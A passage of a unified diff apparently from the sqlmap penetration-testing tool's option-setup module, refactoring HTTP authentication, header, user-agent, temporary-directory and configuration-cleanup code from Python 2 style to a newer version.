conf.safeUrl = "http://%s" % conf.safeUrl + if (conf.safeFreq or 0) <= 0: + errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" + raise SqlmapSyntaxException(errMsg) + +def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix boundary = AttribDict() boundary.level = 1 - boundary.clause = [ 0 ] - boundary.where = [ 1, 2, 3 ] + boundary.clause = [0] + boundary.where = [1, 2, 3] boundary.prefix = conf.prefix boundary.suffix = conf.suffix @@ -990,155 +1339,140 @@ def __setPrefixSuffix(): # user who provides --prefix/--suffix does not want other boundaries # to be tested for - conf.boundaries = [ boundary ] + conf.boundaries = [boundary] + +def _setAuthCred(): + """ + Adds authentication credentials (if any) for current target to the password manager + (used by connection handler) + """ -def __setHTTPAuthentication(): + if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): + kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) + +def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate), - username and password for first three methods, or key file and certification file for - certificate authentication + Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), + username and password for first three methods, or PEM private key file for + PKI authentication """ global authHandler - if not conf.aType and not conf.aCred and not conf.aCert: + if not conf.authType and not conf.authCred and not conf.authFile: return - elif conf.aType and not conf.aCred: + if conf.authFile and not conf.authType: + conf.authType = AUTH_TYPE.PKI + + elif conf.authType and not conf.authCred and not conf.authFile: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - elif not conf.aType and conf.aCred: + elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " - errMsg += "but did not provide the type" - raise sqlmapSyntaxException, errMsg + errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" + raise SqlmapSyntaxException(errMsg) - if not conf.aCert: + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + errMsg = "HTTP authentication type value must be " + errMsg += "Basic, Digest, Bearer, NTLM or PKI" + raise SqlmapSyntaxException(errMsg) + + if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) - aTypeLower = conf.aType.lower() + authType = conf.authType.lower() - if aTypeLower not in ( "basic", "digest", "ntlm" ): - errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest or NTLM" - raise sqlmapSyntaxException, errMsg - elif aTypeLower in ( "basic", "digest" ): + if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" - errMsg = "HTTP %s authentication credentials " % aTypeLower - errMsg += "value must be in format username:password" - elif aTypeLower == "ntlm": + errMsg = "HTTP %s authentication credentials " % authType + errMsg += "value must be in format 'username:password'" + elif authType == AUTH_TYPE.BEARER: + conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) + return + elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " - errMsg += "be in format DOMAIN\username:password" + errMsg += "be in format 'DOMAIN\\username:password'" + elif authType == AUTH_TYPE.PKI: + errMsg = "HTTP PKI authentication require " + errMsg += "usage of option `--auth-file`" + raise SqlmapSyntaxException(errMsg) - aCredRegExp = re.search(regExp, conf.aCred) + aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) - kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() + + _setAuthCred() - if aTypeLower == "basic": + if authType == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) - elif aTypeLower == "digest": - authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) + elif authType == AUTH_TYPE.DIGEST: + authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) - elif aTypeLower == "ntlm": + elif authType == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM, " - errMsg += "http://code.google.com/p/python-ntlm/" - raise sqlmapMissingDependence, errMsg + errMsg += "in order to authenticate via NTLM. Download from " + errMsg += "'https://github.com/mullender/python-ntlm'" + raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: - debugMsg = "setting the HTTP(s) authentication certificate" + debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) - aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert) + _ = safeExpandUser(conf.authFile) + checkFile(_) + authHandler = HTTPSPKIAuthHandler(_) - if not aCertRegExp: - errMsg = "HTTP authentication certificate option " - errMsg += "must be in format key_file,cert_file" - raise sqlmapSyntaxException, errMsg - - # os.path.expanduser for support of paths with ~ - key_file = os.path.expanduser(aCertRegExp.group(1)) - cert_file = os.path.expanduser(aCertRegExp.group(2)) - - for ifile in (key_file, cert_file): - if not os.path.exists(ifile): - errMsg = "File '%s' does not exist" % ifile - raise sqlmapSyntaxException, errMsg - - authHandler = HTTPSCertAuthHandler(key_file, cert_file) - -def __setHTTPMethod(): - """ - Check and set the HTTP method to perform HTTP requests through. - """ - - if conf.data: - conf.method = HTTPMETHOD.POST - else: - conf.method = HTTPMETHOD.GET - - debugMsg = "setting the HTTP method to %s" % conf.method - logger.debug(debugMsg) - -def __setHTTPExtraHeaders(): +def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") + if "\\n" in conf.headers: + conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") + else: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: - if headerValue.count(':') == 1: - header, value = (_.lstrip() for _ in headerValue.split(":")) + if not headerValue.strip(): + continue + + if headerValue.count(':') >= 1: + header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) + elif headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - elif not conf.httpHeaders or len(conf.httpHeaders) == 1: - conf.httpHeaders.append((HTTPHEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5")) - if not conf.charset: - conf.httpHeaders.append((HTTPHEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) - else: - conf.httpHeaders.append((HTTPHEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset)) + elif not conf.requestFile and len(conf.httpHeaders or []) < 2: + if conf.encoding: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html - conf.httpHeaders.append((HTTPHEADER.CACHE_CONTROL, "no-cache,no-store")) - conf.httpHeaders.append((HTTPHEADER.PRAGMA, "no-cache")) + # Reference: http://stackoverflow.com/a/1383359 + conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) -def __defaultHTTPUserAgent(): - """ - @return: default sqlmap HTTP User-Agent header - @rtype: C{str} - """ - - return "%s (%s)" % (VERSION_STRING, SITE) - - # Firefox 3 running on Ubuntu 9.04 updated at April 2009 - #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9" - - # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english - # updated at March 2009 - #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" - -def __setHTTPUserAgent(): +def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: @@ -1149,74 +1483,55 @@ def __setHTTPUserAgent(): file choosed as user option """ + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + if conf.mobile: - message = "which smartphone do you want sqlmap to imitate " - message += "through HTTP User-Agent header?\n" - items = sorted(getPublicTypeMembers(MOBILES, True)) + if conf.randomAgent: + _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) + else: + message = "which smartphone do you want sqlmap to imitate " + message += "through HTTP User-Agent header?\n" + items = sorted(getPublicTypeMembers(MOBILES, True)) - for count in xrange(len(items)): - item = items[count] - message += "[%d] %s%s\n" % (count + 1, item[:item.find(';')], " (default)" if item == MOBILES.IPHONE else "") + for count in xrange(len(items)): + item = items[count] + message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") - test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) + test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) - try: - item = items[int(test) - 1] - except: - item = MOBILES.IPHONE - - item = item[item.find(';') + 1:] + try: + item = items[int(test) - 1] + except: + item = MOBILES.IPHONE - conf.httpHeaders.append(("User-Agent", item)) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: - debugMsg = "setting the HTTP User-Agent header" - logger.debug(debugMsg) - - conf.httpHeaders.append(("User-Agent", conf.agent)) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: - if header == "User-Agent": + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): _ = False break if _: - conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: - if not kb.userAgents: - debugMsg = "loading random HTTP User-Agent header(s) from " - debugMsg += "file '%s'" % paths.USER_AGENTS - logger.debug(debugMsg) - - try: - kb.userAgents = getFileItems(paths.USER_AGENTS) - except IOError: - warnMsg = "unable to read HTTP User-Agent header " - warnMsg += "file '%s'" % paths.USER_AGENTS - logger.warn(warnMsg) + userAgent = fetchRandomAgent() - conf.httpHeaders.append((HTTPHEADER.USER_AGENT, __defaultHTTPUserAgent())) - return - - count = len(kb.userAgents) - - if count == 1: - userAgent = kb.userAgents[0] - else: - userAgent = kb.userAgents[randomRange(stop=count-1)] - - userAgent = sanitizeStr(userAgent) - conf.httpHeaders.append((HTTPHEADER.USER_AGENT, userAgent)) - - infoMsg = "fetched random HTTP User-Agent header from " - infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) + infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent + infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) -def __setHTTPReferer(): + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) + +def _setHTTPReferer(): """ Set the HTTP Referer """ @@ -1225,9 +1540,20 @@ def __setHTTPReferer(): debugMsg = "setting the HTTP Referer header" logger.debug(debugMsg) - conf.httpHeaders.append((HTTPHEADER.REFERER, conf.referer)) + conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) + +def _setHTTPHost(): + """ + Set the HTTP Host + """ + + if conf.host: + debugMsg = "setting the HTTP Host header" + logger.debug(debugMsg) + + conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) -def __setHTTPCookies(): +def _setHTTPCookies(): """ Set the HTTP Cookie header """ @@ -1236,9 +1562,22 @@ def __setHTTPCookies(): debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) - conf.httpHeaders.append((HTTPHEADER.COOKIE, conf.cookie)) + conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) + +def _setHostname(): + """ + Set value conf.hostname + """ + + if conf.url: + try: + conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] + except ValueError as ex: + errMsg = "problem occurred while " + errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) + raise SqlmapDataException(errMsg) -def __setHTTPTimeout(): +def _setHTTPTimeout(): """ Set the HTTP timeout """ @@ -1252,15 +1591,18 @@ def __setHTTPTimeout(): if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 - socket.setdefaulttimeout(conf.timeout) + try: + socket.setdefaulttimeout(conf.timeout) + except OverflowError as ex: + raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) -def __checkDependencies(): +def _checkDependencies(): """ Checks for missing dependencies. """ @@ -1268,54 +1610,212 @@ def __checkDependencies(): if conf.dependencies: checkDependencies() -def __cleanupOptions(): +def _createHomeDirectories(): + """ + Creates directories inside sqlmap's home directory + """ + + if conf.get("purge"): + return + + for context in ("output", "history"): + directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 + try: + if not os.path.isdir(directory): + os.makedirs(directory) + + _ = os.path.join(directory, randomStr()) + open(_, "w+").close() + os.remove(_) + + if conf.get("outputDir") and context == "output": + warnMsg = "using '%s' as the %s directory" % (directory, context) + logger.warning(warnMsg) + except (OSError, IOError) as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) + warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) + warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) + + paths["SQLMAP_%s_PATH" % context.upper()] = tempDir + +def _pympTempLeakPatch(tempDir): # Cross-referenced function + raise NotImplementedError + +def _createTemporaryDirectory(): + """ + Creates temporary directory for this run. + """ + + if conf.tmpDir: + try: + if not os.path.isdir(conf.tmpDir): + os.makedirs(conf.tmpDir) + + _ = os.path.join(conf.tmpDir, randomStr()) + + open(_, "w+").close() + os.remove(_) + + tempfile.tempdir = conf.tmpDir + + warnMsg = "using '%s' as the temporary directory" % conf.tmpDir + logger.warning(warnMsg) + except (OSError, IOError) as ex: + errMsg = "there has been a problem while accessing " + errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + else: + try: + if not os.path.isdir(tempfile.gettempdir()): + os.makedirs(tempfile.gettempdir()) + except Exception as ex: + warnMsg = "there has been a problem while accessing " + warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) + warnMsg += "make sure that there is enough disk space left. If problem persists, " + warnMsg += "try to set environment variable 'TEMP' to a location " + warnMsg += "writeable by the current user" + logger.warning(warnMsg) + + if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: + try: + tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) + except: + tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) + + kb.tempDir = tempfile.tempdir + + if not os.path.isdir(tempfile.tempdir): + try: + os.makedirs(tempfile.tempdir) + except Exception as ex: + errMsg = "there has been a problem while setting " + errMsg += "temporary directory location ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + + conf.tempDirs.append(tempfile.tempdir) + + if six.PY3: + _pympTempLeakPatch(kb.tempDir) + +def _cleanupOptions(): """ Cleanup configuration attributes. """ + if conf.encoding: + try: + codecs.lookup(conf.encoding) + except LookupError: + errMsg = "unknown encoding '%s'" % conf.encoding + raise SqlmapValueException(errMsg) + debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) width = getConsoleWidth() if conf.eta: - conf.progressWidth = width-26 + conf.progressWidth = width - 26 else: - conf.progressWidth = width-46 + conf.progressWidth = width - 46 + + for key, value in conf.items(): + if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): + if isinstance(value, str): + conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) - conf.testParameter = conf.testParameter.replace(" ", "") - conf.testParameter = re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter) + conf.testParameter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter)] else: conf.testParameter = [] + if conf.ignoreCode: + if conf.ignoreCode == IGNORE_CODE_WILDCARD: + conf.ignoreCode = xrange(0, 1000) + else: + try: + conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] + except ValueError: + errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD + raise SqlmapSyntaxException(errMsg) + else: + conf.ignoreCode = [] + + if conf.abortCode: + try: + conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] + except ValueError: + errMsg = "option '--abort-code' should contain a list of integer values" + raise SqlmapSyntaxException(errMsg) + else: + conf.abortCode = [] + + if conf.paramFilter: + conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] + else: + conf.paramFilter = [] + + if conf.base64Parameter: + conf.base64Parameter = urldecode(conf.base64Parameter) + conf.base64Parameter = conf.base64Parameter.strip() + conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) + else: + conf.base64Parameter = [] + + if conf.agent: + conf.agent = re.sub(r"[\r\n]", "", conf.agent) + if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: - conf.rParam = conf.rParam.replace(" ", "") - conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) + if all(_ in conf.rParam for _ in ('=', ',')): + original = conf.rParam + conf.rParam = [] + for part in original.split(';'): + if '=' in part: + left, right = part.split('=', 1) + conf.rParam.append(left) + kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) + else: + conf.rParam.append(part) + else: + conf.rParam = conf.rParam.replace(" ", "") + conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] + if conf.paramDel: + conf.paramDel = decodeStringEscape(conf.paramDel) + if conf.skip: conf.skip = conf.skip.replace(" ", "") conf.skip = re.split(PARAMETER_SPLITTING_REGEX, conf.skip) else: conf.skip = [] + if conf.cookie: + conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) + if conf.delay: conf.delay = float(conf.delay) - if conf.rFile: - conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) + if conf.url: + conf.url = conf.url.strip().lstrip('/') + if not re.search(r"\A\w+://", conf.url): + conf.url = "http://%s" % conf.url - if conf.wFile: - conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) + if conf.fileRead: + conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) - if conf.dFile: - conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) + if conf.fileWrite: + conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite)) + + if conf.fileDest: + conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) @@ -1323,72 +1823,188 @@ def __cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if conf.googleDork or conf.logFile or conf.bulkFile or conf.forms or conf.crawlDepth: + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): conf.multipleTargets = True if conf.optimize: setOptimize() - if conf.data: - if re.search(r'%[0-9a-f]{2}', conf.data, re.I): - original = conf.data - class _(unicode): pass - conf.data = _(urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data) - setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) - else: - conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data - if conf.os: conf.os = conf.os.capitalize() + if conf.forceDbms: + conf.dbms = conf.forceDbms + if conf.dbms: - conf.dbms = conf.dbms.capitalize() + kb.dbmsFilter = [] + for _ in conf.dbms.split(','): + for dbms, aliases in DBMS_ALIASES: + if _.strip().lower() in aliases: + kb.dbmsFilter.append(dbms) + conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None + break + + if conf.uValues: + conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) - if conf.tstF: - if not any([char in conf.tstF for char in ('.', ')', '(', ']', '[')]): - conf.tstF = conf.tstF.replace('*', '.*') + if conf.testFilter: + conf.testFilter = conf.testFilter.strip('*+') + conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) - if conf.timeSec not in kb.explicitSettings: + try: + re.compile(conf.testFilter) + except re.error: + conf.testFilter = re.escape(conf.testFilter) + + if conf.csrfToken: + original = conf.csrfToken + try: + re.compile(conf.csrfToken) + + if re.escape(conf.csrfToken) != conf.csrfToken: + message = "provided value for option '--csrf-token' is a regular expression? [y/N] " + if not readInput(message, default='N', boolean=True): + conf.csrfToken = re.escape(conf.csrfToken) + except re.error: + conf.csrfToken = re.escape(conf.csrfToken) + finally: + class _(six.text_type): + pass + conf.csrfToken = _(conf.csrfToken) + conf.csrfToken._original = original + + if conf.testSkip: + conf.testSkip = conf.testSkip.strip('*+') + conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) + + try: + re.compile(conf.testSkip) + except re.error: + conf.testSkip = re.escape(conf.testSkip) + + if "timeSec" not in kb.explicitSettings: if conf.tor: conf.timeSec = 2 * conf.timeSec - kb.adjustTimeDelay = False + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "increasing default value for " - warnMsg += "--time-sec to %d because " % conf.timeSec + warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" - logger.warn(warnMsg) - else: - kb.adjustTimeDelay = True + logger.warning(warnMsg) else: - kb.adjustTimeDelay = False + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE + + if conf.retries: + conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) + + if conf.url: + match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) + if match: + credentials = match.group(2) + conf.url = conf.url.replace("%s@" % credentials, "", 1) + + conf.authType = AUTH_TYPE.BASIC + conf.authCred = credentials if ':' in credentials else "%s:" % credentials if conf.code: conf.code = int(conf.code) if conf.csvDel: - conf.csvDel = conf.csvDel.decode('string_escape') # e.g. '\\t' -> '\t' + conf.csvDel = decodeStringEscape(conf.csvDel) - if conf.torPort and conf.torPort.isdigit(): + if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() - if conf.oDir: - paths.SQLMAP_OUTPUT_PATH = conf.oDir + if conf.outputDir: + paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) + setPaths(paths.SQLMAP_ROOT_PATH) + + if conf.string: + conf.string = decodeStringEscape(conf.string) + + if conf.getAll: + for _ in WIZARD.ALL: + conf.__setitem__(_, True) + + if conf.noCast: + DUMP_REPLACEMENTS.clear() + + if conf.dumpFormat: + conf.dumpFormat = conf.dumpFormat.upper() + + if conf.torType: + conf.torType = conf.torType.upper() + + if conf.col: + conf.col = re.sub(r"\s*,\s*", ',', conf.col) + + if conf.exclude: + regex = False + original = conf.exclude + + if any(_ in conf.exclude for _ in ('+', '*')): + try: + re.compile(conf.exclude) + except re.error: + pass + else: + regex = True + + if not regex: + conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) + conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) + else: + conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) + + class _(six.text_type): + pass + + conf.exclude = _(conf.exclude) + conf.exclude._original = original + + if conf.binaryFields: + conf.binaryFields = conf.binaryFields.replace(" ", "") + conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) + + envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + debugMsg = "using environment proxy '%s'" % envProxy + logger.debug(debugMsg) + + conf.proxy = envProxy + + if any((conf.proxy, conf.proxyFile, conf.tor)): + conf.disablePrecon = True + + if conf.dummy: + conf.batch = True threadData = getCurrentThreadData() threadData.reset() -def __purgeOutput(): +def _cleanupEnvironment(): """ - Safely removes (purges) output directory. + Cleanup environment (e.g. from leftovers after --shell). """ - if conf.purgeOutput: - purge(paths.SQLMAP_OUTPUT_PATH) + if issubclass(_http_client.socket.socket, socks.socksocket): + socks.unwrapmodule(_http_client) -def __setConfAttributes(): + if hasattr(socket, "_ready"): + socket._ready.clear() + +def _purge(): + """ + Safely removes (purges) sqlmap data directory. + """ + + if conf.purge: + purge(paths.SQLMAP_HOME_PATH) + +def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. @@ -1405,8 +2021,11 @@ def __setConfAttributes(): conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None + conf.fileWriteType = None + conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None + conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False @@ -1416,16 +2035,14 @@ def __setConfAttributes(): conf.parameters = {} conf.path = None conf.port = None - conf.resultsFilename = None + conf.proxyList = None conf.resultsFP = None conf.scheme = None - conf.sessionFP = None - conf.start = True conf.tests = [] + conf.tempDirs = [] conf.trafficFP = None - conf.wFileType = None -def __setKnowledgeBaseAttributes(flushAll=True): +def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. @@ -1435,72 +2052,126 @@ def __setKnowledgeBaseAttributes(flushAll=True): logger.debug(debugMsg) kb.absFilePaths = set() - kb.adjustTimeDelay = False + kb.adjustTimeDelay = None + kb.alerted = False + kb.aliasName = randomStr() kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.base64Originals = {} + kb.binaryField = False + kb.browserVerification = None - kb.brute = AttribDict({'tables':[], 'columns':[]}) + kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() - kb.cache.content = {} + kb.cache.addrinfo = {} + kb.cache.content = LRUDict(capacity=16) + kb.cache.comparison = {} + kb.cache.encoding = LRUDict(capacity=256) + kb.cache.alphaBoundaries = None + kb.cache.hashRegex = None + kb.cache.intBoundaries = None + kb.cache.parsedDbms = {} kb.cache.regex = {} kb.cache.stdev = {} + kb.captchaDetected = None + + kb.chars = AttribDict() + kb.chars.delimiter = randomStr(length=6, lowercase=True) + kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + + kb.choices = AttribDict(keycheck=False) + kb.codePage = None kb.commonOutputs = None + kb.connErrorCounter = 0 + kb.copyExecTest = None kb.counters = {} + kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None - kb.dbmsVersion = [ UNKNOWN_DBMS_VERSION ] + kb.dbmsFilter = [] + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None + kb.disableHtmlDecoding = False + kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None - kb.dumpMode = False + kb.droppingRequests = False + kb.dumpColumns = None + kb.dumpTable = None + kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] - kb.dynamicParameters = False + kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() + kb.extendTests = None + kb.errorChunkLength = None kb.errorIsNone = True + kb.falsePositives = [] + kb.fileReadMode = False + kb.fingerprinted = False + kb.followSitemapRecursion = None kb.forcedDbms = None + kb.forcePartialUnion = False + kb.forceThreads = None + kb.forceWhere = None + kb.forkNote = None + kb.futileUnion = None + kb.fuzzUnionTest = None + kb.heavilyDynamic = False + kb.headersFile = None kb.headersFp = {} + kb.heuristicDbms = None + 